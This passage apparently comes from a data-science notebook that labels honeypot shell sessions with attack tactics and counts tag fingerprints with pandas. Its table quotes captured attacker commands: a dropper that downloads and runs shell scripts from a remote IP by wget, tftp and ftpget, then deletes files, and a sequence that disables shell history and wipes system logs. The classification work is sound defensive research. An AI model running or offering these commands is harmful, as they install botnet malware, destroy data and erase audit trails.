                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| rm        | Execution         | sh ; shell ; help ; busybox ; cd /tmp || cd /run || cd /; wget http://37.49.225.155/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf *; tftp 37.49.225.155 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 37.49.225.155; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 37.49.225.155 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| rm        | Not Malicious Yet | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ;  touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r  ; unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ;  touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r  ; uname ; uname ; free -m ; free -m ; ps -x ; ps -x ; cat /proc/cpuinfo ; cat /proc/cpuinfo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| rm        | Persistence       | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ;  touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r  ; unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ;  touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r  ; uname ; uname ; free -m ; free -m ; ps -x ; ps -x ; cat /proc/cpuinfo ; cat /proc/cpuinfo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
In [ ]:
# 1) Crea la colonna fingerprint come tuple (per renderla hashable)
df_inf['fingerprint'] = df_inf['predicted_tags'].apply(tuple)

# 2) Estrai l’array di fingerprints uniche
unique_fps = df_inf['fingerprint'].unique()
print(f"Trovate {len(unique_fps)} fingerprints uniche:\n")
# for fp in unique_fps:
#     print(fp)

# 3) Conta quante sessioni hanno ciascuna fingerprint
fp_counts = (
    df_inf
    .groupby('fingerprint')
    .size()
    .reset_index(name='count')
    .sort_values('count', ascending=False)
)

# Ribaltiamo l’ordine delle colonne per la stampa
fp_counts = fp_counts.loc[:, ['count', 'fingerprint']]

print("\nPrime 5 fingerprints con il numero di sessioni:")
print(fp_counts.head(5).to_markdown(index=False))


print(df_inf.head())
Trovate 7984 fingerprints uniche:


Prime 5 fingerprints con il numero di sessioni:
|   count | fingerprint                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|--------:|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|   24417 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution') |
